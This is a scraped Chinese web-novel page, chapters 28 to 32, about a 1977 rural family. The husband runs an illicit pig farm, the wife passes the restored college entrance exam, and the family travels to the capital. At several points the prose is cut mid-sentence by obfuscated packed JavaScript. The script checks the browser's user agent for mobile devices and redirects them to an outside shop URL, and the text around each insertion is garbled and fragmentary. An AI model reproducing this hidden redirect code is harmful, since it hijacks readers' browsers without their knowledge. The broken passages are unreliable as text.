姚秋月听到这话,气得拧了一把他的耳朵,“你现在知道疼了?!这脸上要是留了疤,你给我哪凉快滚哪里去!好好翻个地你都能给我翻出一身伤来!” “你那腿伤才好了多久,就又把自己折腾成这样,你是存心想要气死我吗?” 虽然脸上是凶狠的表情,但姚秋月还是心疼丈夫,抹药的动作却是轻了又轻。 唐实哎哟哎呦的喊了几声,“饶命啊媳妇!” 唐实这个模样把姚秋月和唐宝儿都逗乐了。 姚秋月给唐实留了饭菜,一碗堆得冒尖,炒白菜、土豆丝还有一个荷包蛋,唐实扒拉了几口,一碗饭菜就快速的光了,他的伤口不能碰到水,简单的洗漱了一下就躺下了。 大概凌晨的时候,媳妇闺女都睡着了,唐实隐隐约约听见外边有人在喊他的名字。 他轻手轻脚的从床上起来,披上件外衫,就看见他那搞养猪场的兄弟在门外呢,唐实往日里仗义会来事,三沟五道都能称上个兄弟,这个人叫靳柏林,二十多岁,住绿水村西沟那边的,他祖上是地主,戴着个剥削人民的帽子,自己爹娘死了是个孤儿,光脚不怕穿鞋的,所以敢背地里干这个营生。 这一次如果不是唐实通风报信,他那养猪场铁定得全军覆没了。 “都安顿好了?”唐实将他拉到远一点的地方说话。 “都安顿好了。”这句话说完,靳柏林马上就给唐实跪下了,唐实身上带着伤口行动不便,没能拉住他,“实哥,往后你就是我亲哥,这一趟若不是你,后果不堪设想!” “不过就是报个信,没啥。” 靳柏林拉着唐实在树根坐下,看了眼四周确定没人后,才压低了音量,“实哥,等这阵风头过了,咱们一起搭伙干吧,不管挣着多少钱咱们都五五分。” 唐实感觉自己的胸膛在剧烈跳动着,这干养猪场,无疑是一个风险巨大收益也巨大的营生。 已经快要入夏了,空气有些不流通的闷热,蟋蟀在草丛里跳动,寂静得很,他感觉似乎能听见自己的心跳声。 唐实朝屋里的方向看了一眼,感觉像是一股热血涌上了头顶,他看着目光真诚的靳柏林,“行,往后咱们就搭伙干!” …… 唐实就这样搭伙加入了靳柏林的养猪场,白日里上工,晚上就往山里的养猪场跑,但养猪也不是个容易的事,这其中还有很大一门学问,而且需要他们自己屠宰生猪,再趁着夜色运到黑市上去卖,这无论是哪一个环节,只要出了一点问题,都是坐牢掉脑袋的事。 幸好唐实还年轻,他有用不光的精力。 唐实要去干养猪场,姚秋月当然不支持,这不仅太累也太危险了,但她拗不过唐实,只能每天尽力的想办法给他做每一顿饭,准备好合适的洗脚水,唐实经常洗着脚人就累得睡过去了。 养猪不仅高风险,也意味着高收益,这半年下来,他们家里竟然有了一千多块钱的存款,而且家里三天两头的都有吃不完的猪肉,这可把唐宝儿高兴坏了。 1977年,注定是要被铭记的一年。 时间进入了10月份,几场秋雨过后,天气眼见的凉了起来。 1977年10月12日,教育部发布了《关于1977年高等学校招生工作的意见》,正式宣布当年立即恢复高考。随着高考制度的恢复,数以万计的学子也迎来了自己的春天。 姚秋月看到报纸上的通知时,手指都在微微颤抖,但又有些高兴懵了的茫然。 她一年前重新捡起书本,其实她也不知道自己为什么要重新开始学习,她感觉自己像是在等待什么,但真正听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105440|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恢复高考的那一刻,她反倒是失手无措起来了。 “媳妇,你傻了,这恢复高考了!你终于可以去上大学了!” “我可以去上大学了?”姚秋月感觉在一片空白中忽然找到了一丝光亮,她睁着眼睛生怕遗落掉任何一点信息,晶莹的泪水从眼眶中流出。 “可是我能考上大学吗?我已经离开学校十多年了,我都不知道会考些什么,我真的能考上大学吗?” 唐宝儿拉着姚秋月冰凉的手说道,稚嫩的脸上挂着兴奋真切的表情,“娘,你一定能考上大学的,如果你这么聪明努力的人都考不上,那别人更不可能考上了!” “宝儿。”姚秋月将孩子抱在怀里。 唐宝儿伸手给她娘擦了擦脸上的泪水。 “就剩两个月了,媳妇,你可得抓紧了,家里的事都交给我来做吧,这段时间,你就好好复习,家里的事情都交给我来做。” 唐实将媳妇和女儿都抱在了怀里。 唐实和唐宝儿都大力支持姚秋月参加高考,唐实将洗衣做饭的差事都揽到了自己的身上,但这样以来他暂时就腾不出时间去养猪场那边了,虽然靳柏林大方表示唐实尽管先忙自己的事,但唐实想着他媳妇备考要两个多月,后面他还要送她去上大学,替她置办行头,起码也得花上半个月的时间,实在不好意思空占着位置不做事。 正好最后一批猪也出栏了,唐实就向靳柏林提出了退伙,并且表示以后靳柏林有什么事都尽管可以找他,靳柏林虽然惋惜失去了这么好的一个合作伙伴,但还是表示理解,同意了唐实的退出。 于是唐实就揣着还热乎的一千五百块钱,开始了每天洗衣做饭的日子。 唐宝儿每天上学前,都会到野山坡上去采一束颜色鲜亮的还带着露水的野花回来,插在陶土瓶里,放在窗前的桌子上。 这样姚秋月学习累了,看着这束花也能换换心情。 这天唐实下工之后,还专门跑到城里给买回来了两罐麦乳精。 慢慢地冲上一杯,屋里立刻充满了麦乳精特那种特有的香甜味道。 姚秋月责备他乱浪费钱,这一罐麦乳精起码四五十块钱,他还一下子买了两罐,姚秋月光是想想都肉疼。 唐实挨了姚秋月几下捶,还是咧着一嘴白牙笑,“媳妇,你现在可是关键时候,营养跟不上怎么行,多喝点麦乳精补充营养,还有咱们闺女,你们娘俩一人一罐。” 别说,这麦乳精还真的是好喝,甜滋滋的,奶香味很浓,冲上一碗喝完了感觉浑身都暖呼呼的。 姚秋月一面喝一面心疼钱,但这可乐坏了唐宝儿,她想起来去外婆家,外婆给她冲麦乳精,杯子里撒上几粒麦乳精,用白开水冲一下,然后再用筷子搅拌一下,味道一点都不浓,只能品尝到一点寡淡的甜味。 但自从她爹买回来了这两罐麦乳精后,姚秋月给唐宝儿每次冲都舀上满满当当的两勺,喝起来特别香浓,嘴里都是香浓的奶味。 29. 第29章 霜降是中国二十四节气中的一个节气,霜降的到来表示了秋天进一步深入,天气会逐渐转凉,霜降之后,冷空气逐渐增多,寒意也逐渐加重。 晨露凝结成霜,轻轻覆盖在枯叶上,当东方露出第一抹鱼肚白,唐实就从床上起来了,简单的洗了把冷水脸,他把淘洗干净的大米倒进锅里煮,又架上笼屉蒸几个馒头,就把换下来的衣服收拾到一个木盆里,踏着还未退散的夜色出了门。 唐实找了块干净的石板蹲下,就开始洗衣服。 三三两两的妇女也结着伴到河边洗衣服,唐实一个大男人洗衣服着实稀罕,村里的几个妇女笑完了,还有好事的问道,“唐老四,你不怕你媳妇考上了大学,飞出这山沟沟里,到外边的世界见了更好的男人,红杏出墙,不要你跟你闺女了吗?” 恢复高考的通知传下来后,绿水村也有其他高中生要参加高考的,但大多数都是男丁,姚秋月一个结婚多年的女人要参加高考,这可真是一件稀罕事。 唐实闷不做声的将浆洗干净的衣服给拧干了,收拾到木盆里,他才起身咧着一嘴白牙道,“大娘,谢谢你这么‘关心’我们家啊,不过你还是多担心担心自己吧。我媳妇有自己的追求,我为她骄傲,不像有些人,整天就知道在背后嚼舌根。” 那好事的妇女被唐实这话噎了一下,她拨高了音量尖锐道,“你怎么好赖不分呢?!我这还不是为你们着想!” “大娘,你这话是不是好意你自己心里清楚,我媳妇就算去了外太空,心里装的也还是我和闺女,你就别在这杞人忧天了。” 说完这句话,唐实就头也不回的抱着木盆回去了,留下那个爱嚼舌根的妇女脸红一阵白一阵的。 侯松梅也在那人堆里洗衣服呢,她把唐实的话学了个全,都跟姚秋月说了。 唐实在外人面前毫不动摇的维护妻子的行为,让侯松梅也不由得心生感动。 晚上睡觉时,唐实打来一盆热水给姚秋月洗脚。 温热的水盖过脚背,姚秋月盯着唐实低垂下去的头顶,脑袋上的乌发毛楂楂地直立着,像团起来的刺猬。 “唐实,你不怕我真的到了更大的世界,找上了别的男人红杏出墙吗?” 唐实头也没抬,“我有什么好怕的?顶多,你出墙一寸我挪墙一寸,你出墙一尺我挪墙一尺。” 姚秋月被他这话给逗笑了,“你是砌墙工啊,还挪墙一寸挪墙一尺的。” 唐实用干净的毛巾把她脚上的水擦干了,又出去倒了水,才认真的拉着姚秋月的手说道,“媳妇,我如果真那样去想你,我才是罪不可赦的混蛋,我们结婚这么多年,你是什么样的人我看在眼里,你在我眼里就是这个世界上最好的女人。” 唐实这一番话说得姚秋月眼睛涩涩的,她用手擦了把眼泪,将自己的脑袋靠在唐实的胸膛前。 “唐实,嫁给你是我最不后悔的选择。” 深秋的夜晚寂静,姚秋月的话刚说完,铺天盖地的吻就落到了她的脸上,“媳妇,我爱你,也爱咱们这个家……” 唐宝儿值完日从教室里出来,小学里的同学都走得差不多了,她背上书包往家里走,刚走到校门口,就被人叫住了。 “唐宝儿!” 她回头一看,是吴春红,唐宝儿虽然跟她是同学,可她除了收作业和发作业的时候,平时跟吴春红也没什么接触。 吴春红虽然成了算术课代表,但她在班级里人缘还是很差。 唐宝儿看向她,“有什么事吗?” 唐宝儿知道吴春红对自己有一股强烈的敌意,她还曾经想要把自己推进冰窟窿里,所以对她也存着一定的戒备心。 吴春红盯着唐宝儿的脸看,听说年初的时候唐老四的腿断了,休养了三个月,又分了家,本来以为他们家这一年日子都会过得苦巴巴,但没想到唐家四房的日子不仅没垮,看着唐宝儿好像脸还圆了不少,长高了一点,穿的衣服也像是新的? 吴春红突然笑出声来,“你娘要去参加高考,考上了大学,她就会找个城里男人,到时候你就没有娘了,我啊真是可怜你!” “我呸!”唐宝儿听到这话忍不住捏紧了拳头,她不是听到她娘会抛弃她生气的,她为吴春红在背后编排污蔑她娘生气,“哈哈,你可真会想象,我娘要是考上了大学,那我就有一个大学生的娘了,我更要以她为榜样,我娘就算去了外太空,那也是我的娘。你就别在这瞎操心了,还是多担心担心你自己下次背课文能不能背出来吧!” 说完这番话,唐宝儿就提了提书包的带子,不多给吴春红一个眼神,回家里去了。 吴春红原本想挑拨唐宝儿和她娘的感情,但无奈唐宝儿油盐不进,气得一口气堵在胸膛,不过她很快就释然了,世事要变了,等到时候他们家就能凭着她上辈子的经验抢占先机,成为村里第一个万元户。 想到他们家很快就能过上好日子了,吴春红脸上露出得意的神色来。 时间很快就来到了12月份,高考的这一天,姚秋月复习的时候一直都很紧张,但是真到了这一天反而不紧张了,唐实借来了自行车,吃过早饭后,唐实父女二人送着姚秋月到了考场。 空气中已经飘着少量的雪花,姚秋月把孩子的围巾拢了拢,对着唐实道,“风刮得脸生疼,你待会带着孩子骑车慢点回去。” “我知道了,媳妇,好好考千万别紧张!” “娘。”唐宝儿从怀里掏出一枚硬币,“这是今年的许愿硬币,但是我没有许愿,我想把这个愿望留给娘。” 唐宝儿运气好,每年总能吃到许愿饺子,去年的硬币她许了愿望希望能尽快长大,但是今年的硬币她没有想好愿望,就把硬币给留下来了。 姚秋月感动的在孩子的脸上亲了亲,从她手里接过硬币,然后在他俩的注视下闭上眼睛,双手合十许愿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120956|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她听见自己的呼吸声,脑海中想了几个字,“事遂人愿。” “娘,加油!” “媳妇加油!你一定能考上的,我们都相信你。” “嗯,我一定会加油的。” 唐实父女俩目送着姚秋月进了考场,又在原地等了一会,才骑着自行车回去了。 数以千计的学子乌压压的走进了考场,大家身上或多或少都有从事体力劳动的痕迹,有知青、也有像姚秋月这样的妇女,也有应届的高中生,脸上都带着热切的激动,高考对于他们来说,是一个期盼了多少年的机会。 意味着他们能够重新接受文化教育,走上向往的大学,摆脱从土里刨食的命运。 考试钟声响起,考场里响起齐刷刷的在试卷上作答的声音。 考完最后一科,从考场出来时,天已经黑了,纷飞的雪花辗转飘零,落到她的肩头和睫毛上,一滴水滴从她的眼角落了下来,姚秋月也分不清到底是眼泪还是雪融化了。 这场本该在十年前就参加的考试,迟到了十年。 唐宝儿没有跟过来,唐实挎着辆自行车在考场门口等她。 唐实没有说话,只是抱住了她,温暖的怀抱像是驱散了冬日的所有冷意,姚秋月也不愿意去理会周围人的目光,揽紧了他精壮的腰。 仿佛过了像是有一个世纪般漫长,唐实给她围上一块厚实的围巾,姚秋月看到这蓝色的羊毛围巾,怔了一下,“这是哪来的围巾?” “这段时间你复习考试辛苦了,就给你选了一条围巾当做礼物,这个颜色是宝儿挑的,喜欢吗?”唐实对颜色上没什么把握,专门带着唐宝儿到县城的商店去买的。 这条围巾的颜色很好看,是很清新淡雅的蓝色,而且是羊毛的很暖和,两边还有垂落的流苏,她点了点头,“喜欢。” “喜欢就好。” 唐实看到旁边有卖烤红薯的,想着姚秋月估计早就饿了,就推着自行车过去,问了下价,五分钱一个,就掏钱买了俩。 用油纸包着的热腾腾的烤红薯被塞进她的掌心,香喷喷的,已经烤得皮都翻开了,橙黄的瓤儿里冒着热气,不断往外冒着甜香。 姚秋月剥开红薯皮咬了一口,红薯的甜香在舌尖蔓延,她咬了一口,又咬了一口,眼泪就忍不住稀里哗啦的掉下来了。 这可把唐实吓了一跳,连红薯都顾不上吃了,“媳妇,你别哭啊,好端端的怎么哭起来了,就算咱们考差了,发挥得不好,咱们还有来年呢,咱们来年再考。” 姚秋月擦着脸上横流的眼泪,很少会这么失态,她呜咽的说道,“我就是太激动了……” 这段时间她一直在复习,感觉心里也压着一股力气无处释放,但随着考场截止的钟声敲响的那一刻,姚秋月终于感觉前所未有的轻松。 一切都尘埃落定了。 唐实摸了摸她的脑袋,感觉心口抽丝的疼,“傻姑娘。” 30. 第30章 阳历年的最后一天,按理说过了今天就是新的一年了。但村里节日的氛围并不浓重,对于老百姓来说他们还是更习惯过阴历年,这一天学校也不放假,唐宝儿早上喝粥的时候说了句家里好久没有吃包子了,姚秋月就到村口的猪肉档割了一斤猪肉回来,顺便把赤小豆也给煮上了。 趁着煮赤小豆的时间,把面给发上了,猪肉是特别好的一条五花肉,姚秋月用菜刀给肉剁成了猪肉馅,又往肉馅里分三次加入葱姜水,加入碧绿的葱花一起搅拌均匀,那猪肉馅就调好了。 赤小豆煮到水分都吸收了,原本坚硬的豆子手指轻轻一抿就能化开,姚秋月在里边加上白砂糖,用勺子把赤小豆给按压成豆泥。 她今天要做两个口味的包子。 把馅料都调好之后,再把发好的面团分成二十个大小均匀的面剂子,擀成薄皮就可以包了。 取出准备好的肉馅,包入肉馅,姚秋月包包子已经相当熟练,这讲究的就是一个手感,只见她右手的大拇指保持在第一个褶子不动,用右手食指连续捏出褶子,同时捏的时候提了一下,左手大拇指同时向下按着肉馅,同时配合着旋转包子。 一个完整美观的包子就包好了。 大概包了二十分钟,二十个包子就包好了。 蒸包子也有一门学问,如果是用小火蒸,包子就会处于一直发酵的状态,发过头的包子会变形变酸,这样的包子不仅不好看还不好吃,如果全程用大火蒸,水蒸气会把锅盖顶起来,盖子上的水蒸气就会滴落在包子的表面,蒸出来的包子表皮硬硬的,完全没有发起来。 需要先大火把水煮开,从水开计时,继续大火蒸上几分钟,让包子快速定型,然后改成中火再蒸上十几分钟。 而且关火后不能马上就把锅盖打开了,需要再焖上几分钟,再慢慢把锅盖掀开,这样蒸出来的包子就是满锅白白胖胖的美味包子了。 唐宝儿中午放学还没进家门就闻到了包子的香味,激动的往家里跑,姚秋月掐着时间蒸好的,刚从锅上拾出来,唐宝儿就迫不及待的抓起一个包子吃。 “慢点!”姚秋月轻拍了一下她的手,并把一碗煮好的玉米糁稀饭给她端到桌子上去,“当心点别噎着了,配着稀饭吃。” “娘,你做的包子真是太好吃了!”唐宝儿很快就吃完了一个包子,由衷感叹道。 她娘包的包子松软多汁,一口下去就能尝到鲜美的肉馅,香而不腻,满满的都是肉香。 还有那豆沙馅的也好吃,特别蓬松暄软,皮薄馅多,豆馅吃起来沙沙的很快就化开了,甜甜的。 “我觉得外面卖的包子都没有娘做的好吃。” “好吃就多吃点。”姚秋月喝了一口稀饭,也拿起了一个包子吃,“宝儿,你们是不是快要放假了?” 唐宝儿已经在绿水村小学上了一个学期的三年级了,这些年他们夫妻俩很少需要在她的学习方面操心,唐宝儿聪明又努力,每次考试都是年级第一,他们根本找不着操心的地方。 “还有几天就放假了。” 唐宝儿吃完包子,下午还要回学校继续上课,姚秋月给她水壶里灌满热水,并且叮嘱她一定要记得喝水,到了冬天这孩子就不怎么爱喝水。 姚秋月还叫唐宝儿顺便给成和成孝带了包子。 回到学校时,班上已经有不少同学吃完了饭回来了,唐宝儿现在的同桌已经不是成和了,她现在的同桌是罗苗苗,她们两个人关系还不错,唐宝儿刚把包子给成和,就听见有人问。 “唐宝儿,我听说你娘参加高考了?” 唐宝儿点点头,“对啊。” “那你娘她能考上大学吗?” 唐宝儿语气坚定的说道,“我娘她肯定能考得上。” 后排吴春红噗的一声笑了出来,“唐宝儿,你可别说大话闪了舌头,你娘就是一个农村妇女,拿什么跟人家刚毕业的高中生比?” 唐宝儿看了眼她,“农村妇女咋了?妇女还能撑起半边天呢,我娘就算是农村妇女那也是有追求,有文化的农村妇女,她一定考得上。” 罗苗苗见过姚秋月,唐宝儿温柔的娘给她留下了深刻的印象,听着别人这样污蔑她,当下也忍不住反驳了回去,“就是,说得你娘不是农村妇女,你没吃农村妇女种的粮,没穿农村妇女织的布似的!” 吴春红双手环抱,趾高气扬的说道,“我娘是农村妇女,但她不会自不量力的参加什么高考啊,等你娘到时候落榜了,还还不招人笑掉大牙。” 吴春红很有把握,她记得姚秋月上辈子根本没有参加高考,所以这辈子也一定考不上。 “那就拭目以待好了。”唐宝儿不愿意再理会她,从书包里摸出笔来要写作业。 吴春红忍不住笑,唐宝儿还在嘴硬。 时间很快就到了一月中旬,村子里的各种口号喊得响亮,不仅要抓春耕还要搞基建,上面来了指示说要修大坝,全村的男女老少都汇集在基建队上,把左右两边的山分别用炸药炸平半个,修一个大坝把河道改成一个川地。 姚秋月刚跟一个妇女把一块重石背到河岸上,沉重的石头几乎要把人压到土地里去,卸下石块的那一刻,大概是用力过度,姚秋月感觉眼前一阵发白,差点就要栽倒在地上。 脊背火辣辣的疼,手掌也磨破了,血迹渗了出来,那妇女让姚秋月赶紧抓上一把黄土捂着止血,但姚秋月摇了摇头,只是用水壶里的清水冲洗干净了就没有管它,除了身体上的压力,姚秋月在精神上也感觉到了不少的焦虑。 距离高考已经过去了一个多月,这期间没有传来任何消息。 姚秋月虽然表现很淡定,但心里也不由得焦虑了起来。 陈老太分完家后,觉得日子反而过得更舒坦了,再也不用操心这一大家子的事,她平日里除了帮着老三一房喂喂鸡鸭,就没旁的事了,还有老四一家有什么好吃的都想着给她端上一碗,人年纪上来了,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姚秋月几人回到家里时,脸上还沾着泥,身上的衣服也是破破烂烂的,她看着邮差手上的录取通知书,杏眼睁了又睁,感觉手颤得厉害,最后她才用衣服把手给擦干净了,郑重其事的接过邮差手里的录取通知书。 “姚秋月同学: 经学校录取,X省、市(自治区)自治区高校招生委员会批准你入我校经济系学习,请于2月15日至2月17日携带本录取通知书到我校报道。” 首都大学的落款上还戳着红色的钢印。 “媳妇,你考上了!真厉害!” “我就知道你一定能行的!” 姚秋月看着手上的录取通知书,还有些恍惚,“我、我考上了?!” “是啊,娘你考上了,你做到了!你太厉害了!”唐宝儿热泪盈眶的说道,她知道她娘这一路走来有多么的不容易,能有今天的结果,唐宝儿为她感到高兴。 心里也生出一股强烈的敬佩。 她娘在如此艰难的条件下都能够坚持学习,并且考上国家最高级的学府之一,她还有什么理由不努力学习? 31. 第31章 姚秋月娘家人听到这个消息都忙搁下手上的事情赶了过来,姚父姚母老泪盈眶,抱着闺女一顿哭,还有姚秋月的哥哥嫂子们,七八个侄儿都挤在唐家院子里。 他们是跟姚秋月有血缘关系的亲人,真心实意的为她而感到高兴着。 两家二十多口人热热闹闹地挤在唐家的院子里,互相激动的说个没完。 这一大群人总得招呼人家吧,但招呼不开啊,唐实便大手一挥,决定请所有人到国营食堂去吃饭。 一大堆人挤进了国营食堂,各种好饭好菜摆满了一大桌子,唐实大方的表示让众人随便吃,想吃什么就什么就吃什么,反正他现在也不差那一点钱! 吃完饭回来,唐实就开始盘算着要给他媳妇置办行头的事情了。 二月中旬就开学,那他们起码得提前两天就出发,这期间唐实带着姚秋月跑遍了县城里的各个门市部,终于买到了一只深棕色的皮革箱,这是出门的门面,箱子很大,能容纳所有的零七碎八。 出了二月天气就会慢慢暖和起来了,棉袄就不用再做了,需要买一件轻便的毛衣,两件春天穿的长袖衫,还有两条裤子。 还有雪花膏、暖壶、被褥、鞋袜、肥皂、搪瓷茶缸…… 姚秋月笑了唐实好几回,说他要变成操不尽心的老婆子了,但嘴上是这么说,心里却为他的周全体贴而感动。 从绿水村到首都需要坐上二十多个小时的绿皮火车,其中需要转三次车,在开学前两天,唐宝儿穿着一件杏粉色的棉袄,一条浅咖色的裤子,头发扎成两条长长的辫子垂在胸前,抓着她爹娘的衣角,第一次坐上了去首都的火车。 首都!对于她一个七八岁的孩子来说,是这样遥远的名词。 唐宝儿只在课本上了解过,首都有北海公园、香山枫叶、天安门还有长城,她连县城都没去过几回,如今竟然要去首都了。 火车的站台前挤满了人,全都匆匆忙忙的往某一处挤,有背着公文包出门办事的,抱着一两个孩子的妇女,探亲的、返乡的、开学的、也有在站台上吆喝着卖茶叶蛋和馒头包子的,姚秋月见人流量大,忙把孩子的手给抓紧了,生怕一不注意就走丢了。 姚秋月手里除了皮革箱外,还提着一个彩虹色的网兜,兜里装着红双喜的搪瓷脸盆、淡黄色的牡丹花图案的床单、还有一个搪瓷茶缸,以及早上出门时备下的干粮:十几颗茶叶蛋、馒头、烙饼还有水。 唐实则拎着另一个黄色的大挂包,还有一个装着床单被褥的麻袋。 一辆绿皮火车从远处轰隆隆的呼啸而来,停在了他们身旁,墨绿的色泽是这个时代的旅客对于火车最深刻的记忆,一家三口拥挤着人群上了车,在逼仄沉闷的车厢里找到自己的位置。 唐实把行李放到头顶的行李架上。 乘客较多,座位上坐满了人,狭窄的过道里也有不少站票,他们只买到了两张坐票和一张站票,但好在有两张坐票,他们是夫妻俩带着孩子,就轮流抱着孩子坐。 唐宝儿坐在姚秋月的腿上,这是一个靠窗的位置,还能推开窗,火车开动起来,呼啸着朝着远方驶去,凉风从外面灌了进来,冲散了车厢里混合的怪味,舒服了不少。 她瞧着外面不断变化的风景,连绵不绝的翠绿的群山,低头吃草的牛羊,锄地的农民,大大小小的村落,砖窑烟囱冒出的滚滚黑烟,眼里冒着新奇的光。 随着火车的向前驶进,这些景物也在慢慢的变小,最后彻底消失在视线里。 也会有人坐在火车上,曾经路过他们的绿水村,看到过他们巍然屹立的绿桂山吗? 原来这就是外面的世界,唐宝儿第一次意识到,原来她认知里绿水村是一个很大很大的地方,在这个世界里也不过是一个渺小得不能再渺小的一个小点。 “宝儿饿了吧?”姚秋月从网兜里拿出一个烙饼递到孩子手里。 他们今天早上五点钟,天还没亮,就坐着牛车赶到了公社上,再从公社坐短途汽车到了县里,再颠簸了五个小时的长途汽车才到了市里的火车站。 这一路上紧赶慢赶,生怕赶不上火车,所以也没来得及吃点东西。 “我去接点开水,你跟孩子都吃点东西。”唐实拿起搪瓷缸子往开水间走去。 唐宝儿咬了一口烙饼,这饼是昨天陈老太烙的,放了一夜有些硬了,但嚼着吃还挺香的,唐宝儿今天第一次坐汽车,而且还是坐了五六个小时,姚秋月本来还担心她晕车,但这一路下来,唐宝儿精神还不错,不头晕也不想吐。 唐实接了开水回来,母女俩先喝了点,姚秋月看孩子嚼得费劲,就干脆把饼掰碎了用开水泡软了,再让她用勺子舀着吃。 吃完了泡饼,感觉肚子里有东西存着了,舒服了不少,太阳向西边的森林下沉,天慢慢的黑了下来,唐宝儿原本兴致勃勃的劲头也下来了,她上眼皮耷拉着,很快就靠在姚秋月怀里睡着了。 火车咣当咣当的响,偶尔还有人走来走去的声音,这期间唐宝儿感觉自己被换了个位置,抱着她的人由姚秋月换成了唐实,姚秋月怕孩子着凉,还从挂包里取出一件外套给她盖上了。 在这逼仄浮沉的环境里,唐宝儿却睡得香甜。 姚秋月也慢慢撑不住了,靠在唐实的肩膀上睡着了。 火车经过了二十多个小时的行驶,终于在最后一站首都站停了下来,唐宝儿跟着她爹娘下了火车,看到眼前的车水马龙,高楼大厦,睁大了眼睛,这里每个人都骑着一辆二八杠的自行车,穿着时髦俏丽的新衣服,感觉这是一个庞大的世界,带给她强烈的冲击。 原来这就是首都。 不仅是唐宝儿,哪怕是唐实和姚秋月,首都对于他们来的惊喜也是巨大的。 “咱们先找个地方吃点热食吧,然后再到首都大学报道。”唐实提议道。 其实他们带的干粮还没吃完,但放了二十几个小时,已经又冷又硬,吃起来口感很不好。 “行。”坐了一路的车,姚秋月也早就累到不行了。 于是三人走进了一家面店。 姚秋月看着那招牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从报到处出来,沿路经过教学楼、实验楼还有食堂,学校占地面积很大,姚秋月他们按着提示找到了宿舍,这座宿舍楼看起来就是有些年头了,白色的外墙上已经带着岁月的痕迹,攀爬着一株茂盛的爬山虎,宿舍门前还立着一颗很大的榕树,投下一片绿荫。 姚秋月她们宿舍是六人间,有一个比姚秋月年纪大点,今年三十岁,叫郑秀华,她是下乡多年的知青,一直没结婚,握手时能明显感觉到她手上有厚厚的茧子,看起来比她的实际年龄还要更大些。 还有其他几个室友,因为她们是恢复高考的第一届考生,所以年龄差距也很大,来自天南地北,五湖四海,说话还都夹杂着各自省份的口音,但都不是难相处的人,一个宿舍很快就熟识了。 唐实跟唐宝儿把姚秋月送到宿舍后,就要先行离开了,他们打算在校门口的招待所再住两天,好好逛一逛首都再回去。 姚秋月晚上还要开会,她跟唐实他们说了,等开了完会再去招待所找他们。 32. 第32章 招待所内,唐实手里拿着把梳子,看着闺女那乌黑的头发犯了难,往常在家里的时候都是他媳妇给孩子梳头发,他实在是不会啊。 唐实手下没个轻重,梳子扯动头皮,唐宝儿疼得叫了声,“啊!” “没事吧?爹轻点轻点。”唐实这下不敢用力了,用梳子划拉了几下,看着那头绳圈,回忆起来往日姚秋月是怎么弄的,嘴里叼着梳子,拇指和手指撑着头绳,揪着一团梳好的头发,身体都扭成了一个S形,才堪堪给绑起来了。 就是简单绑个头发,唐实累得满头是汗,手都酸麻了,这可比扛着锄头翻地难多了。 唐实给闺女绑了两团马尾,头发没梳整齐,蓬蓬的一头,发路也是歪歪扭扭的,绑得还不紧,感觉跑两步就要掉了。 唐宝儿瓷白的小脸皱成苦瓜状,感觉后脑袋摇摇晃晃的,“爹,这好看吗?” “好看,好看着呢。”唐实心虚的擦汗道。 梳好了头发,唐宝儿自己去刷牙洗脸了,他们住的这个招待所没有独立的卫生间,只能到一楼的水房去洗漱,父女俩都收拾完了之后,唐实就带着闺女到街上的早餐店去吃早饭了。 姚秋月今天有课不能跟他们一起,唐实打算先带闺女去天安门逛一圈,再去长城。 早餐店前人满为患,父女俩排了很久队伍才到他们,热气腾腾的早餐店前,透着熙熙攘攘的人间烟火气。 油条四分钱一根,淡豆浆三分钱,咸豆浆四分钱,甜豆浆五分钱,菜汤面一毛五一碗,阳春面一毛钱一碗,甜的大饼四分钱一个,咸的芝麻大饼三分钱一个。 菜汤面里还有加现炒的菠菜、油豆腐。 唐实就要了两根油条,一份阳春面,一份菜汤面,一碗咸豆浆和一碗甜豆浆。 他自个吃了阳春面,菜汤面给唐宝儿要的,甜豆浆也是唐宝儿的,他自己喝咸豆浆。 那油条炸得金黄酥脆,油滋滋的又脆又香,感觉比他们乡下的撒子还要好吃。 唐宝儿看到隔壁桌的人把油条浸进豆浆里吃,她也跟着试了下,香脆的油条泡到松软,吸饱了豆浆,一口吃进去,层次十足,油条的油腻被豆浆中和,而豆浆的余味又和油条的香结合的恰到好处。 唐宝儿高兴的说道,“爹,你试下这样可好吃了!” 唐实吃了口泡过的油条,确实好吃,他也试着用咸豆浆泡了下,味道也很惊艳。 菜汤面满满当当的一大碗,绿油油的菠菜加在面里很鲜,油豆腐也很好吃,但一碗太多了唐宝儿吃不完,唐实就把闺女剩下的菜汤面三下五除二的收拾了。 父女俩吃完早餐付了钱,打问了去天安门的公交车站次,就坐上了前往天安门的公交车。 唐宝儿没到一米二高,只需要买半价票,公交车摇摇晃晃的行驶着,公交车上有各色各样的人,夹着公文包西装革履的年轻人,提着菜篮的家庭主妇,精致的老太太,上学的孩子。 二月首都已经不穿棉袄了,唐实他们夹在人群中间很显眼。 